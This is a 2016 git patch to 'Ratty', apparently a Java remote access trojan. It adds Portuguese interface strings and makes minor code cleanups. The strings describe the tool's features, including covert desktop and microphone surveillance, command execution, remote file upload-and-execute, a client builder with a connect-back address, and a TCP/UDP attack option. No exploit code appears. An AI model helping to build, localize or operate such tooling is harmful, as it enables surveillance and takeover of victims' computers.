From 284c2a3035b51f34208db1cb57624f7a7467de87 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sat, 26 Mar 2016 14:38:17 +0100 Subject: [PATCH] Major changes Added Portuguese translation Cleanups --- Ratty/res/language/lang_pt.properties | 62 +++++++++++++++++++ Ratty/src/de/sogomn/rat/Ratty.java | 2 +- .../src/de/sogomn/rat/builder/JarBuilder.java | 2 +- .../sogomn/rat/packet/NewDirectoryPacket.java | 2 +- 4 files changed, 65 insertions(+), 3 deletions(-) create mode 100644 Ratty/res/language/lang_pt.properties diff --git a/Ratty/res/language/lang_pt.properties b/Ratty/res/language/lang_pt.properties new file mode 100644 index 0000000..360953f --- /dev/null +++ b/Ratty/res/language/lang_pt.properties @@ -0,0 +1,62 @@ +server.port_error=Port inválida. +server.free_warning=O cliente não vai estar disponível até o dispositivo reiniciar.\r\n\ +Continuar? +server.yes=Sim +server.no=Não +server.cancel=Cancelar +server.tcp=TCP +server.udp=UDP +server.attack_message=Que protocolo? +server.url_message=Digite um URL. +server.amount_question=Quantas vezes? + +builder.address_question=Qual é o endereço que o cliente pretende connectar? +builder.port_question=Que port? +builder.error=Algo deu errado. + +menu.file_management=Gerenciamento de ficheiros +menu.surveillance=Vigilância +menu.utility=Utilidade +menu.other=Outros + +file_information.name=Nome do ficheiro +file_information.path=Localização +file_information.size=Tamanho +file_information.directory=Pasta +file_information.creation=Data de criação +file_information.last_access=Ultimo acesso +file_information.last_modification=Ultima modificação +file_information.bytes=Bytes + +action.popup=Abrir popup +action.screenshot=Tirar ScreenShot +action.desktop=Iniciar Vigilância Desktop +action.voice=Iniciar Vigilância Microfone +action.files=Procurar ficheiros +action.command=Executar comando +action.clipboard=Mostrar clipboard +action.website=Abrir website +action.audio=Colocar Som +action.free=Cliente grátis +action.build=Construtor de cliente +action.attack=Ataque de inicializador +action.request_files=Requisitar conteúdo +action.download=Descarregar ficheiro +action.upload=Transferir ficheiro aqui +action.execute=Executar ficheiro +action.delete=Apagar ficheiro +action.new_directory=Criar nova pasta +action.upload_execute=Transferir e executar ficheiro +action.drop_file=Colocar ficheiro +action.drop_execute=Colocar e executar ficheiro +action.chat=Abrir chat +action.file_information=Obter informação do ficheiro + +column.name=Nome +column.location=Localização +column.address=Endereço IP +column.os=Sistema Operativo +column.version=Versão +column.desktop=Vigilância da tela +column.voice=Vigilância de audio +column.ping=Ping \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 623cb93..73eccf2 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -24,7 +24,7 @@ import de.sogomn.rat.server.ActiveServer; public final class Ratty { public static final boolean DEBUG = true; - public static final String VERSION = "1.20.2"; + public static final String VERSION = "1.20.3"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); private static String address; diff --git a/Ratty/src/de/sogomn/rat/builder/JarBuilder.java b/Ratty/src/de/sogomn/rat/builder/JarBuilder.java index 477814f..9995388 100644 --- a/Ratty/src/de/sogomn/rat/builder/JarBuilder.java +++ b/Ratty/src/de/sogomn/rat/builder/JarBuilder.java @@ -29,7 +29,7 @@ public final class JarBuilder { JAR_FILE = jarFile; } - private JarBuilder(final File file) { + private JarBuilder() { //... } diff --git a/Ratty/src/de/sogomn/rat/packet/NewDirectoryPacket.java b/Ratty/src/de/sogomn/rat/packet/NewDirectoryPacket.java index d26df13..ab749a8 100644 --- a/Ratty/src/de/sogomn/rat/packet/NewDirectoryPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/NewDirectoryPacket.java @@ -52,7 +52,7 @@ public final class NewDirectoryPacket implements IPacket { if (directoryPath != null) { final String path = directoryPath + File.separator + name; - FileUtils.createFolder(path); + FileUtils.createDirectory(path); } }